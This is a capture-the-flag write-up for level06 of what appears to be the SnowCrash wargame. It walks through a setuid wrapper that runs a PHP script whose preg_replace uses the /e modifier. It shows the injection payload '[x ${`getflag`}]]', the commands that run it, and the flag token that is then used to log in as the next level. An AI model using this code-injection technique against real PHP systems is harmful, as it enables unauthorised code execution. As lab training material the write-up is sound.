


# |level06

In the level06 home directory, there is an executable named "level06" and a php file named "level06.php". Below is the php script and decompiled code from Ghidra:



```
#!/usr/bin/php
<?php
function y($m) {
    $m = preg_replace("/\./", " x ", $m);
    $m = preg_replace("/@/", " y", $m);
    return $m;
}
function x($y, $z) {
    $a = file_get_contents($y);
    $a = preg_replace("/(\[x (.*)\])/e", "y(\\"2\\")", $a);
    $a = preg_replace("/\[\/", "(", $a);
    $a = preg_replace("/\]/", ")", $a);
    return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
```



```
int main(int argc, int argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    char *php_bin = "/usr/bin/php";
    char *php_scr = "/home/user/level06/level06.php";
    char *args[] = {php_bin, php_scr, NULL};

    execve(php_bin, args, envp);
    return 0;
}
```

# |level06<sup>2</sup>

The executable is processing the *level06.php* script under the user *Flag06*.

It takes a file as its first argument, reads it, and then parses and runs it using *PHP*.

There's a vulnerability in the *preg\_replace* function within the *PHP* script. We can exploit this by injecting code using the regex pattern *[x ...]*, provided to it as an argument through the *level06* executable.

We've crafted a simple payload:

```
[x ${`getflag`}]]
```

and saved it in the */var/tmp* directory.



```
level06@SnowCrash:~$ echo '[x ${`getflag`}]]' > /var/tmp/payload
```

```
level06@SnowCrash:~$ ./level06 /var/tmp/payload
```

```
PHP Notice:  Undefined variable: Check flag.Here is your token : wiok45aaogui-  
boiki2tuin6ub  
in /home/user/level06/level06.php(4) : regexp code on line 1
```

```
level06@SnowCrash:~$ su level07
```

```
Password: wiok45aaoguiboiki2tuin6ub
```

```
level07@SnowCrash:~$
```